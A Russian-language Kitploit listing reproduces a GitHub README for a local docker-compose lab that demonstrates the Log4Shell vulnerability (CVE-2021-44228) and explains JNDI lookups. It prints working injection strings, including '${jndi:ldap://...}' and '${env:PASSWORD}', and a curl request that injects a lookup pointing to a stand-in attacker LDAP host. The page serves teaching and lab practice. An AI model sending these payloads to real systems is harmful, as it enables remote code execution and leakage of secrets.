Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
log4j-cve-2021-44228-sample — Пример настройки docker-compose, показывающий, как работает этот эксплойт. | Kitploit
Инструменты/GitHubGitHub/alpacamybags118/log4j-cve-2021-44228-sample
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеЛаборатории и Практика
GitHubalpacamybags118/log4j-cve-2021-44228-sample

log4j-cve-2021-44228-sample

Пример настройки docker-compose, показывающий, как работает этот эксплойт.

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
24 лет назадЕщё не проверено

Пример эксплуатации log4j

В этом репозитории есть рабочий пример эксплуатации недавней уязвимости log4j. Он не выполняет реальное удалённое выполнение кода, но показывает, насколько легко злоумышленник может заставить уязвимое приложение обратиться к своему собственному LDAP-серверу.

Здесь используется отличное уязвимое демо-приложение log4j, созданное christophetd: https://github.com/christophetd/log4shell-vulnerable-app

Пояснение

Эта уязвимость злоупотребляет функциональностью lookup в log4j, в частности jndi, которая позволяет log4j выполнять запросы к внешним хостам для получения данных. Это может быть использовано для чего угодно: от логирования чувствительных переменных окружения до удалённого выполнения кода.

Поиск (lookup) выполняется для любого текста, заключённого в ${}, при вызове логгера. Например,

root@kitploit:~
${jndi:ldap://someldapserver:1389/o=example}

выполнит запрос к этому LDAP-серверу с заданным запросом и выведет результат.

Более простой пример, не использующий jndi, но всё равно опасный:

root@kitploit:~
${env:PASSWORD}

Это выведет содержимое этой переменной окружения в логи. Тот, у кого есть доступ к этим логам, сможет извлечь чувствительные данные приложения.

Код log4j

Код log4j, который позволяет эксплуатировать эту уязвимость, довольно прост. Вам просто нужно вызвать логгер для записи свойства запроса без санитизации. Например, можно логировать содержимое заголовка User-Agent.

root@kitploit:~
...
@GetMapping("/bad")
	public void Bad(@RequestHeader("User-Agent") String userAgent) {
    logger.info("Received User-Agent header " + userAgent);
	}

Использование этого примера

Сначала соберите локальный LDAP-сервер:

root@kitploit:~
docker build -t ldapnode .

После сборки поднимите весь стек командой

root@kitploit:~
docker-compose up

Затем можно выполнить запрос к приложению, используя заголовок x-api-version для внедрения lookup-выражения:

root@kitploit:~
curl --request GET \
  --url http://localhost:8080/ \
  --header 'x-api-version: ${jndi:ldap://bad:1389/o=example}'

С этим запросом в логах docker-compose вы увидите, что LDAP-сервер был вызван:

root@kitploit:~
bad_1    | ldap server has been called!
log4j_1  | 2021-12-14 02:43:11.657  INFO 1 --- [nio-8080-exec-2] HelloWorld                               : Received a request for API version com.sun.jndi.ldap.LdapCtx@201a609c

Что делать, если вы затронуты уязвимостью

Обратитесь к этой документации для получения способов устранения уязвимости.

Скачать инструмент